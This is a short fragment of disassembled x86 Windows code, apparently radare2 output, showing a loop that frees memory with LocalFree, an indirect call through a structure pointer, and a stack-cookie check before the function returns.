call fcn.0046158b
add esp, 0x10
push dword [ebp - 0x9c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
inc esi
cmp esi, dword [ebp - 0x94]
jl 0x44ef30
mov eax, dword [ebp - 0xb4]
push dword [ebp - 0x98]
mov eax, dword [eax + 0x418]
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046125f
mov esp, ebp
pop ebp
ret 8